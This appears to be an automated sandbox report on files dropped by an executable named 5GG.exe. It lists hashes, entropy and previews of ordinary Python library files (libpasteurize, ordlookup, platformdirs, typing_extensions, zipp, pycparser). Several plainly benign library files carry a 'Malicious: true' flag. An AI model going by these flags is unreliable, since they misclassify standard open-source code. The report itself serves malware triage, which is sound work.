Preview:	u"""Fixer for 'g.throw(E(V).with_traceback(T))' -> 'g.throw(E, V, T)'"""..from lib2to3 import fixer_base.from lib2to3.pytree import Node, Leaf.from lib2to3.pgen2 import token.from lib2to3.fixer_util import Comma..class FixThrow(fixer_base.BaseFix):.. PATTERN = u""". power< any trailer< '.' 'throw' >. trailer< '(' args=power< exc=any trailer< '(' val=any* ')' >. trailer< '.' 'with_traceback' > trailer< '(' trc=any ')' > > ')' > >. """.. def transform(self, node, results):. syms = self.syms. exc, val, trc = (results[u"exc"], results[u"val"], results[u"trc"]). val = val[0] if val else Leaf(token.NAME, u"None"). val.prefix = trc.prefix = u" ". kids = [exc.clone(), Comma(), val.clone(), Comma(), trc.clone()]. args = results[u"args"]. args.children = kids.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\libpasteurize\fixes\fix_unpacking.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with very long lines (370)
Category:	dropped
Size (bytes):	5946
Entropy (8bit):	4.766589831543578
Encrypted:	false
SSDEEP:	96:Q+CIUmdNhgJ4344dqItOFy3GU7ICAtOFy3GU9QGdSdPT+Tk:Q+CIpDhgJ4344dqItOFy3GU8LtOFy3GH
MD5:	46B0F389198D10141A6B1C8BE12345D0
SHA1:	721B38D34925EF77BF6E633E1E40289EF8E2393B
SHA-256:	78CA917B8E0D7EAF25A346052FDA0A5BBE5D1804660529A4963E01092FEAD4BA
SHA-512:	F34D56DAE93A2033C836351D416EED87C6A0E0074ADC3BDA7EEAC4124BD8E83875D8F63C2C5BA7404FF3BAC630BA7055B6228B96EE6C1BF1BBF21D0BCE9CC201
Malicious:	false
Preview:	u""".Fixer for:.(a,)* b (,c) [,] = s.for (a,)* b (,c) [,] in d: ...."""..from lib2to3 import fixer_base.from itertools import count.from lib2to3.fixer_util import (Assign, Comma, Call, Newline, Name,. Number, token, syms, Node, Leaf).from libfuturize.fixer_util import indentation, suitify, commatize.# from libfuturize.fixer_util import Assign, Comma, Call, Newline, Name, Number, indentation, suitify, commatize, token, syms, Node, Leaf..def assignment_source(num_pre, num_post, LISTNAME, ITERNAME):. u""". Accepts num_pre and num_post, which are counts of values. before and after the starg (not including the starg). Returns a source fit for Assign() from fixer_util. """. children = []. pre = unicode(num_pre). post = unicode(num_post). # This code builds the assignment source from lib2to3 tree primitives.. # It's not very readable, but it seems like the most correct way to do it.. if num_pre > 0:. pre_part = Node(sy

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\libpasteurize\main.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	8186
Entropy (8bit):	4.38766404306738
Encrypted:	false
SSDEEP:	96:Jqb066TwR4XK7fJgHUVjPY6V9i8JfdJFXaosMUDqmjsky+T8nJy+zn+KEkX4OWG:7kF7fyHUe6zlrhsMUz+G8n0mn+KPoG
MD5:	76EDDCFEB0A5C43B15E7DDE412A492C5
SHA1:	74CB47DAE82210D36268C6DB7D0B385217D511E3
SHA-256:	7551D84D041E2689EE3850CDADE9C9665FAB28780E40A44C3CFD4EAA72688164
SHA-512:	766BB673F4586744D00A5DB509A6FEF4D08A565A350753FE13ED86DD5B04C1FF73FD0E6F27C8E3EBE06647DEEE00A1AF4463C1857A2C6BAD585F00008C2A6F9C
Malicious:	false
Preview:	""".pasteurize: automatic conversion of Python 3 code to clean 2/3 code.===================================================================..``pasteurize`` attempts to convert existing Python 3 code into source-compatible.Python 2 and 3 code...Use it like this on Python 3 code:.. $ pasteurize --verbose mypython3script.py..This removes any Py3-only syntax (e.g. new metaclasses) and adds these.import lines:.. from __future__ import absolute_import. from __future__ import division. from __future__ import print_function. from __future__ import unicode_literals. from future import standard_library. standard_library.install_hooks(). from builtins import *..To write changes to the files, use the -w flag...It also adds any other wrappers needed for Py2/3 compatibility...Note that separate stages are not available (or needed) when converting from.Python 3 with ``pasteurize`` as they are when converting from Python 2 with.``futurize``...The --all-imports option forces addin

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\ordlookup\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	784
Entropy (8bit):	4.632717283020794
Encrypted:	false
SSDEEP:	24:14HEFN6zQhU8DwMdrwaZgAGvrlLPpZYieoY7gn:SHEFYzQVh5waZPGBDpZU1Mn
MD5:	684DB7787A6DEB1771FBF9C06AB811C8
SHA1:	E997B79459F6D30C639D28E1F3A6F3AB2EAE689A
SHA-256:	A95DF6E43BEA93D1D81A517605792348053C36202A1A4F7083A6DC180EC33026
SHA-512:	F77E80D28C3DB2BAD840E08FE68A76B81002FED363D7FA405D02E6E75908574EAE6FFC080F28C4624A3F12C33F6CD32D9193FE823CCA90AD60B70FB134BF8AFD
Malicious:	true
Preview:	from . import ws2_32.from . import oleaut32..""".A small module for keeping a database of ordinal to symbol.mappings for DLLs which frequently get linked without symbolic.infoz.."""..ords = {. b"ws2_32.dll": ws2_32.ord_names,. b"wsock32.dll": ws2_32.ord_names,. b"oleaut32.dll": oleaut32.ord_names,.}...def formatOrdString(ord_val):. return "ord{}".format(ord_val).encode()...def ordLookup(libname, ord_val, make_name=False):. """. Lookup a name for the given ordinal if it's in our. database.. """. names = ords.get(libname.lower()). if names is None:. if make_name is True:. return formatOrdString(ord_val). return None. name = names.get(ord_val). if name is None:. return formatOrdString(ord_val). return name.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\ordlookup\pycache\init.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	5.224967116381263
Encrypted:	false
SSDEEP:	12:Cos/QJuZSgXP4EhEeDnGFcr2/lKPHS6Eg56nnkk1qWQ4vCK03exdAKxaQgFi7D+9:Fabh/nJrElKPERX1vQ4vrTDAqHQi7wYe
MD5:	CA6A3B7449442A2A5DB9FD7EDA945D1C
SHA1:	7ECCECBC3EDA7D62DF0FF3BFAE26231CC445777B
SHA-256:	358556978CFC449486A8E6E7820F9C33041D3FCB9E4C66310400CDEAEFBB55DB
SHA-512:	E2EFB7279251D31A41DC5A1DB5A91CDDC086FF9142456CDB92F618542DB40595E4C5283277423F66C50BA1808A9C906B479AB2A328A08766826953D0C7457985
Malicious:	false
Preview:	o.........e.........................@...sB...d.d.l.m.Z...d.d.l.m.Z.....e.j.e.j.e.j.d...Z.d.d...Z.d.d.d...Z.d.S.)......)...ws2_32)...oleaut32).s....ws2_32.dlls....wsock32.dlls....oleaut32.dllc....................C...s....d...\|.......S.).Nz.ord{})...format..encode)...ord_val..r.....U...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\ordlookup/__init__.py..formatOrdString....s......r....Fc....................C...sH...t...\|.......}.\|.d.u.r.\|.d.u.r.t.\|...S.d.S.\|...\|...}.\|.d.u.r"t.\|...S.\|.S.).zJ. Lookup a name for the given ordinal if it's in our. database.. NT)...ords..get..lowerr....).Z.libnamer....Z.make_name..names..namer....r....r......ordLookup....s......................r....N).F)...r....r....Z.ord_namesr....r....r....r....r....r....r......<module>....s......................

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\ordlookup\pycache\oleaut32.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	16333
Entropy (8bit):	5.5816289018148
Encrypted:	false
SSDEEP:	192:+DAiAj0Rd3i/l0ikq/0ahW9VwRG/vg8jHwnEqiXV/8r8Z40MkEMR1++qoAreRccp:YAT0D3id0Z9GRUWU++0LIZeJNxy
MD5:	413867E5BC84A5EFD86F3B8DBC31ADF3
SHA1:	F33CBB343D1DDE70DD021D82555F8559A67D35AC
SHA-256:	757016753F2CE81536FFCDE554D91D33502BDE8F2A75BC10C119BD2E55FC49CE
SHA-512:	5DA9438F8786B46A25AC7F1DBC627E51A05F27FBA5D8E76DE89E94F3DB14723552677CCB6BBACFD2FD789B56B920E4DE38CA68BE5178C6C6BE528BBD3C8449CC
Malicious:	false
Preview:	o.........e}.......................@...s....i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d d!..i.d"d#..d$d%..d&d'..d(d)..dd+..d,d-..d.d/..d0d1..d2d3..d4d5..d6d7..d8d9..d:d;..d<d=..d>d?..d@dA..dBdC....i.dDdE..dFdG..dHdI..dJdK..dLdM..dNdO..dPdQ..dRdS..dTdU..dVdW..dXdY..dZd[..d\d]..d^d_..d`da..dbdc..ddde....i.dfdg..dhdi..djdk..dldm..dndo..dpdq..drds..dtdu..dvdw..dxdy..dzd{..d\|d}..d~d...d.d...d.d...d.d...d.d.....i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d.....i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d..d.d..d.d..d.d..d.d....i.d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d....i.d.d..d.d..d.d..d.d...d.d...d.d...d.d...d.d...d.d.....d...d.....d...d.....d...d.....d...d.....d...d.....d...d.....d...d.....d...d.....i...d...d.....d...d.....d...d.....d...d.....d...d.....d...d.....d...d.....d.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\ordlookup\pycache\ws2_32.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	4190
Entropy (8bit):	5.60881107507789
Encrypted:	false
SSDEEP:	96:lw2KWNxGmIq/Rj5HaRlds9UMaKeWR7Lxy5e9lAKIH:3fNxGmZ/b9UMaXWdLx5FIH
MD5:	774C97623451EDB9B8764A6497316598
SHA1:	E7A00F048AC72D460504C2BD4F64D36721626FE1
SHA-256:	D96BAA4B9BE82630EA8EC70DC1C937AAF8C933158AC3EF2F5ABC7ED3AB019E7D
SHA-512:	86EA106B1E69F195971D925A1E9D5BA6ACA571EC019EEC0E430590B5B89752312C14B36D3582DCDE9F0D949D0E45412AE49315B178515FBBCF8B961236C71240
Malicious:	false
Preview:	o.........e.........................@...s....i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d d!..i.d"d#..d$d%..d&d'..d(d)..d*d+..d,d-..d.d/..d0d1..d2d3..d4d5..d6d7..d8d9..d:d;..d<d=..d>d?..d@dA..dBdC....i.dDdE..dFdG..dHdI..dJdK..dLdM..dNdO..dPdQ..dRdS..dTdU..dVdW..dXdY..dZd[..d\d]..d^d_..d`da..dbdc..ddde....i.dfdg..dhdi..djdk..dldm..dndo..dpdq..drds..dtdu..dvdw..dxdy..dzd{..d\|d}..d~d...d.d...d.d...d.d...d.d.....i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d.....i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d..d.d..d.d..d.d..d.d....d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d....Z.d.S.)......s....accept.....s....bind.....s....closesocket.....s....connect.....s....getpeername.....s....getsockname.....s....getsockopt.....s....htonl.....s....htons.....s....ioctlsocket.....s....inet_addr.....s....inet_ntoa.....s....listen.....s....ntohl.....s....ntohs.....s....r

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\ordlookup\oleaut32.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10877
Entropy (8bit):	4.853109845265422
Encrypted:	false
SSDEEP:	192:cEoahhUHfbqL1kcEX2k/TNwc8H2vpNbXc4u5MvTTl1i9YusfTR:m/bqqMVfe7vffT
MD5:	89DD54DF90276F06DA15F26165B608EE
SHA1:	A64BFBD5F95E5ED94B52C40BB89A8EF72FAD19FF
SHA-256:	8346CD7072D1B87FE75BBE71A996ED6593564EB39505B74457C5BBBF1CF43AE7
SHA-512:	375CB8C42F56169CDAF4064A45DEDFEC329FB34982B5796A1A88DCDC96BEA8F96B15EE3A486E10D1FC6E12E2AD7BC8D8DD257377F98C9B4FA0E957E5F7294CCB
Malicious:	false
Preview:	ord_names = {. 2: b"SysAllocString",. 3: b"SysReAllocString",. 4: b"SysAllocStringLen",. 5: b"SysReAllocStringLen",. 6: b"SysFreeString",. 7: b"SysStringLen",. 8: b"VariantInit",. 9: b"VariantClear",. 10: b"VariantCopy",. 11: b"VariantCopyInd",. 12: b"VariantChangeType",. 13: b"VariantTimeToDosDateTime",. 14: b"DosDateTimeToVariantTime",. 15: b"SafeArrayCreate",. 16: b"SafeArrayDestroy",. 17: b"SafeArrayGetDim",. 18: b"SafeArrayGetElemsize",. 19: b"SafeArrayGetUBound",. 20: b"SafeArrayGetLBound",. 21: b"SafeArrayLock",. 22: b"SafeArrayUnlock",. 23: b"SafeArrayAccessData",. 24: b"SafeArrayUnaccessData",. 25: b"SafeArrayGetElement",. 26: b"SafeArrayPutElement",. 27: b"SafeArrayCopy",. 28: b"DispGetParam",. 29: b"DispGetIDsOfNames",. 30: b"DispInvoke",. 31: b"CreateDispTypeInfo",. 32: b"CreateStdDispatch",. 33: b"RegisterActiveObject",. 34: b"RevokeActiveObject",. 35: b"GetActiveObject",.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pkg_resources\_vendor\platformdirs\windows.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6596
Entropy (8bit):	4.951477662855345
Encrypted:	false
SSDEEP:	96:6uJ08iUSci1N9SqvyLly9h7CfICYHawCDmyfD7YrjY6hftXPoItc:6ucUuN9Sqvypkp6ICYk1wr8kFXFc
MD5:	F3C0AFD331CBF291FBC236857D26A1C1
SHA1:	AB76DDDE32F0D2F38FB25CBD9CE9AD17B82C0AB8
SHA-256:	2CEAD72E02340A3425743A36CE1399606619EA0E1EFDC24E081FE917D68C4564
SHA-512:	F857DAD2B501E0B3F7D404027C7FAAD1B49239C1C07C8AFD513851FB52739A3F06635183E202435AD9BA64F94AB6D23084026459D0918EB0F1AE775D6D99891A
Malicious:	true
Preview:	from __future__ import annotations..import ctypes.import os.import sys.from functools import lru_cache.from typing import Callable..from .api import PlatformDirsABC...class Windows(PlatformDirsABC):. """`MSDN on where to store app data files. <http://support.microsoft.com/default.aspx?scid=kb;en-us;310294#XSLTH3194121123120121120120>`_.. Makes use of the. `appname <platformdirs.api.PlatformDirsABC.appname>`,. `appauthor <platformdirs.api.PlatformDirsABC.appauthor>`,. `version <platformdirs.api.PlatformDirsABC.version>`,. `roaming <platformdirs.api.PlatformDirsABC.roaming>`,. `opinion <platformdirs.api.PlatformDirsABC.opinion>`.""".. @property. def user_data_dir(self) -> str:. """. :return: data directory tied to the user, e.g.. ``%USERPROFILE%\\AppData\\Local\\$appauthor\\$appname`` (not roaming) or. ``%USERPROFILE%\\AppData\\Roaming\\$appauthor\\$appname`` (roaming). """. const = "CSIDL_APPDATA" if self.roaming

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pkg_resources\_vendor\typing_extensions.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	80078
Entropy (8bit):	4.4280371903591815
Encrypted:	false
SSDEEP:	1536:g/SDPFEwcLm5l5nhL6FErWwCaVsws3A2b9nAB3AEidN7eNcq:g/SbaHLm5lPL6FErWwCm5s3A5B3AECN0
MD5:	1CAFC3C9E0F2A1AEFA053401F4E29749
SHA1:	170CED4319DC4EBA3FDFC928D25DDCF48126451C
SHA-256:	8A9A968AAE401F3AF0733B7A736E803F4E4B961E9AE7F19A5D1A4E06A6E88070
SHA-512:	1F0C882C20C77E18A17F13C9747CF89C550FDA9646CC07304B6834A9C55919C80816DD72A46D0EB66D7BDFB7A6DC69027A007DB6BF613B9E0385BD4939AA4115
Malicious:	true
Preview:	import abc.import collections.import collections.abc.import functools.import operator.import sys.import types as _types.import typing...__all__ = [. # Super-special typing primitives.. 'Any',. 'ClassVar',. 'Concatenate',. 'Final',. 'LiteralString',. 'ParamSpec',. 'ParamSpecArgs',. 'ParamSpecKwargs',. 'Self',. 'Type',. 'TypeVar',. 'TypeVarTuple',. 'Unpack',.. # ABCs (from collections.abc).. 'Awaitable',. 'AsyncIterator',. 'AsyncIterable',. 'Coroutine',. 'AsyncGenerator',. 'AsyncContextManager',. 'ChainMap',.. # Concrete collection types.. 'ContextManager',. 'Counter',. 'Deque',. 'DefaultDict',. 'NamedTuple',. 'OrderedDict',. 'TypedDict',.. # Structural checks, a.k.a. protocols.. 'SupportsIndex',.. # One-off things.. 'Annotated',. 'assert_never',. 'assert_type',. 'clear_overloads',. 'dataclass_transform',. 'get_overloads',. 'final',. 'get_args',. 'get_origin',.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pkg_resources\_vendor\zipp.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, Unicode text, UTF-8 text executable
Category:	dropped
Size (bytes):	8425
Entropy (8bit):	4.573127423025622
Encrypted:	false
SSDEEP:	192:3d9LqSY7fPZ9NE1wzz6Qu0uO0h9hD76NQsa9L:3d9Ye1wPjWO0h9hfc5a9L
MD5:	873640DC68DF8F121D1BD22159A2E1F0
SHA1:	AFBA147A869B5F3A241AF399EBFA87311671E91F
SHA-256:	6A3CED387FBD23B280FF8C2A0D8CA0B476BAC54055660169999F0513BE071C72
SHA-512:	E9DDFCF03E8B75B7B651CD2649558EB5CA9F69E7860ECC0EFBDFA390DA7D88B0B7ADC0864D0AB08524B8A038E05A43BB1C1E70F323E5CC3A26BBC3D14EF92AFA
Malicious:	true
Preview:	import io.import posixpath.import zipfile.import itertools.import contextlib.import sys.import pathlib..if sys.version_info < (3, 7):. from collections import OrderedDict.else:. OrderedDict = dict...__all__ = ['Path']...def _parents(path):. """. Given a path with elements separated by. posixpath.sep, generate all parents of that path... >>> list(_parents('b/d')). ['b']. >>> list(_parents('/b/d/')). ['/b']. >>> list(_parents('b/d/f/')). ['b/d', 'b']. >>> list(_parents('b')). []. >>> list(_parents('')). []. """. return itertools.islice(_ancestry(path), 1, None)...def _ancestry(path):. """. Given a path with elements separated by. posixpath.sep, generate all elements of that path.. >>> list(_ancestry('b/d')). ['b/d', 'b']. >>> list(_ancestry('/b/d/')). ['/b/d', '/b']. >>> list(_ancestry('b/d/f/')). ['b/d/f', 'b/d', 'b']. >>> list(_ancestry('b')). ['b']. >>> list(_ancestry('')). []. """. path =

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pkg_resources\extern\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2442
Entropy (8bit):	4.288042982166529
Encrypted:	false
SSDEEP:	48:xcAd8WP+Kzx07oZCrCkALsIych3nhHpFSWeren:xpdXPd07JrV+tnBpy+
MD5:	D0ED4D53C3E7D55751A3834FFB866878
SHA1:	C721D1DB0CCA88B70528A91AF02E237EBC2FBB8D
SHA-256:	9C3B636EB844683BB7F3C7E9E0EE81192A5B8A16661E1ECFA0ECF6861164F908
SHA-512:	E093E5B50DC224DDC7899F2ACA63BAA8EA8A263A0B7A44310193C7B13311DA19F357F8C9D818B58C8E06927B2B2475A263B648E8B63F6631BB68B240F8C3F4CE
Malicious:	true
Preview:	import importlib.util.import sys...class VendorImporter:. """. A PEP 302 meta path importer for finding optionally-vendored. or otherwise naturally-installed packages from root_name.. """.. def __init__(self, root_name, vendored_names=(), vendor_pkg=None):. self.root_name = root_name. self.vendored_names = set(vendored_names). self.vendor_pkg = vendor_pkg or root_name.replace('extern', '_vendor').. @property. def search_path(self):. """. Search first the vendor package then as a natural package.. """. yield self.vendor_pkg + '.'. yield ''.. def _module_matches_namespace(self, fullname):. """Figure out if the target module is vendored.""". root, base, target = fullname.partition(self.root_name + '.'). return not root and any(map(target.startswith, self.vendored_names)).. def load_module(self, fullname):. """. Iterate over the search path to locate and load fullname..

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pkg_resources\extern\pycache\init.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	2940
Entropy (8bit):	5.192785415593298
Encrypted:	false
SSDEEP:	48:Clgrr/uzFTHOo7zk1R/LBBgQHm2CllhnR/gM3pahOSdu+nsM6:Cluuzhy77gQ9ClFgh1fsM6
MD5:	57762136E9EF366F8D6BC773E868B1E8
SHA1:	2C5B6475133ADE42C7150ACB0AE221DAB53E3CD4
SHA-256:	89EF7D1848F56F9C7E67B4309F1A6CB4ADA73D7D80F4CF8DB1A6F9D9E52D465E
SHA-512:	66667A59445D88D3E87BBA003E13D86AE0EE9936710920FD69845D79C8FE47D0D722F3932E5318565124B13F1E064A0C94D14277B7A5D9D626C41E5E43F2FD31
Malicious:	false
Preview:	o.......=..e.........................@...s4...d.d.l.Z.d.d.l.Z.G.d.d...d...Z.d.Z.e.e.e.........d.S.)......Nc....................@...sX...e.Z.d.Z.d.Z.d.d.d...Z.e.d.d.....Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d.d...Z.d.d...Z.d.S.)...VendorImporterz.. A PEP 302 meta path importer for finding optionally-vendored. or otherwise naturally-installed packages from root_name.. ..Nc....................C...s&...\|.\|._.t.\|...\|._.\|.p.\|...d.d...\|._.d.S.).NZ.externZ._vendor)...root_name..set..vendored_names..replace..vendor_pkg)...selfr....r....r....r....r.....`...F:\python\1 .......\Cheat Checker\venv\lib\site-packages\pkg_resources\extern\__init__.py..__init__....s..........z.VendorImporter.__init__c....................c...s......\|.j.d...V...d.V...d.S.).zL. Search first the vendor package then as a natural package.. .....N).r......r....r....r....r......search_path....s..........z.VendorImporter.search_pathc....................C...s....\|...\|.j.d.....\.}.}.}.\|...o.t.t.\|.j.\|.j

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycparser-2.21.dist-info\INSTALLER

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycparser-2.21.dist-info\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	5.119919024809352
Encrypted:	false
SSDEEP:	24:bkt2CUneZXof9+bOOrgFTY+JY4vFTzDssd2lBTPj96432sgEOkes8GROKE32s3yd:bMj3OOrgJ04vJzIJvP56432s3432s3OX
MD5:	2C28CDEABCB88F5843D934381B4B4FEA
SHA1:	F57B5109D589C5252E4930573A142C9E84861383
SHA-256:	3E7DF25B8DFB658C9A91501930D4D943B05087A8347C7E2B4325616AF535047B
SHA-512:	86A97AD4D15C23FCC94E190CAE997002DC7DC248C0B02A3B83BD691B21FA14D68AD52195B6B6F038752E7376D47E1B57E90A9426D3628EB0F70E30AA29147934
Malicious:	false
Preview:	pycparser -- A C parser in Python..Copyright (c) 2008-2020, Eli Bendersky.All rights reserved...Redistribution and use in source and binary forms, with or without modification,.are permitted provided that the following conditions are met:..* Redistributions of source code must retain the above copyright notice, this . list of conditions and the following disclaimer..* Redistributions in binary form must reproduce the above copyright notice, . this list of conditions and the following disclaimer in the documentation . and/or other materials provided with the distribution..* Neither the name of Eli Bendersky nor the names of its contributors may . be used to endorse or promote products derived from this software without . specific prior written permission...THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND .ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED .WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE AR

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycparser-2.21.dist-info\METADATA

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1108
Entropy (8bit):	4.860721073717697
Encrypted:	false
SSDEEP:	24:Dk/I9CU2BeIZftDZftWZft2ZftYZftRTZft90ZftXZftsZftBZftCawqJOLyDe:Dk/I92VjaaYxLiPktIGx6
MD5:	B9015EC1BD36122AAACFEA36D7DEBD8D
SHA1:	A0D0B460F18E91DEFE0DE7EC4FF85AAB83AEDD36
SHA-256:	1AF4C4400F722A3D27BCFE269277E81A932F8DA2570908D000D7101EB46B0317
SHA-512:	ED091746239A1202A7E6A97BC2CDA0C0C3381632DF3E92CDADE9E1EEC0FBFEDA9B1C6872F7F1947128C8C546BCBA00D13CB8B3C6B31ED24F35B1F5E0C5F4C140
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: pycparser.Version: 2.21.Summary: C parser in Python.Home-page: https://github.com/eliben/pycparser.Author: Eli Bendersky.Author-email: eliben@gmail.com.Maintainer: Eli Bendersky.License: BSD.Platform: Cross Platform.Classifier: Development Status :: 5 - Production/Stable.Classifier: License :: OSI Approved :: BSD License.Classifier: Programming Language :: Python :: 2.Classifier: Programming Language :: Python :: 2.7.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3.4.Classifier: Programming Language :: Python :: 3.5.Classifier: Programming Language :: Python :: 3.6.Classifier: Programming Language :: Python :: 3.7.Classifier: Programming Language :: Python :: 3.8.Classifier: Programming Language :: Python :: 3.9.Classifier: Programming Language :: Python :: 3.10.Requires-Python: >=2.7, !=3.0., !=3.1., !=3.2., !=3.3....pycparser is a complete parser of the C language, written in.pure Python using the PLY pars

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycparser-2.21.dist-info\RECORD

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	2793
Entropy (8bit):	5.636313306835797
Encrypted:	false
SSDEEP:	48:anuX9APVaDhl9d9qUoENdCoEx4oi+Y8iZ9OJY/H4JWrGo7Uch4+Chl:1XCwdd9qUomdCozL+YbZ9OJi+WCo7Uci
MD5:	94B49C3613FBAC16C45A95434AFFF2DE
SHA1:	5F93037289895098A9361CB19D2B8C5E4540EEEB
SHA-256:	E04CF9AD7093BB9DEC9F7C2F5A7C12194AB847E6CC7181030B04F05BC87CBDF8
SHA-512:	95F824597CC23B2D34B28ABAD13604C8363C1F77F6F9C9179B9F92EC4E170F92FE038B8A65DBA90178CB931FD557780640A85141A1E320F74F00B653DD41A88B
Malicious:	false
Preview:	pycparser-2.21.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..pycparser-2.21.dist-info/LICENSE,sha256=Pn3yW437ZYyakVAZMNTZQ7BQh6g0fH4rQyVhavU1BHs,1536..pycparser-2.21.dist-info/METADATA,sha256=GvTEQA9yKj0nvP4mknfoGpMvjaJXCQjQANcQHrRrAxc,1108..pycparser-2.21.dist-info/RECORD,,..pycparser-2.21.dist-info/WHEEL,sha256=kGT74LWyRUZrL4VgLh6_g12IeVl_9u9ZVhadrgXZUEY,110..pycparser-2.21.dist-info/top_level.txt,sha256=c-lPcS74L_8KoH7IE6PQF5ofyirRQNV4VhkbSFIPeWM,10..pycparser/__init__.py,sha256=WUEp5D0fuHBH9Q8c1fYvR2eKWfj-CNghLf2MMlQLI1I,2815..pycparser/__pycache__/__init__.cpython-310.pyc,,..pycparser/__pycache__/_ast_gen.cpython-310.pyc,,..pycparser/__pycache__/_build_tables.cpython-310.pyc,,..pycparser/__pycache__/ast_transforms.cpython-310.pyc,,..pycparser/__pycache__/c_ast.cpython-310.pyc,,..pycparser/__pycache__/c_generator.cpython-310.pyc,,..pycparser/__pycache__/c_lexer.cpython-310.pyc,,..pycparser/__pycache__/c_parser.cpython-310.pyc,,..pycparser/__pycache__/lex

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycparser-2.21.dist-info\WHEEL

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	110
Entropy (8bit):	4.816968543485036
Encrypted:	false
SSDEEP:	3:RtEeX7MWcSlVitcv6KjP+tPCCf7irO5S:RtBMwlViWZWBBwt
MD5:	D2A91F104288B412DBC67B54DE94E3AC
SHA1:	5132CB7D835D40A81D25A4A1D85667EB13E1A4D3
SHA-256:	9064FBE0B5B245466B2F85602E1EBF835D8879597FF6EF5956169DAE05D95046
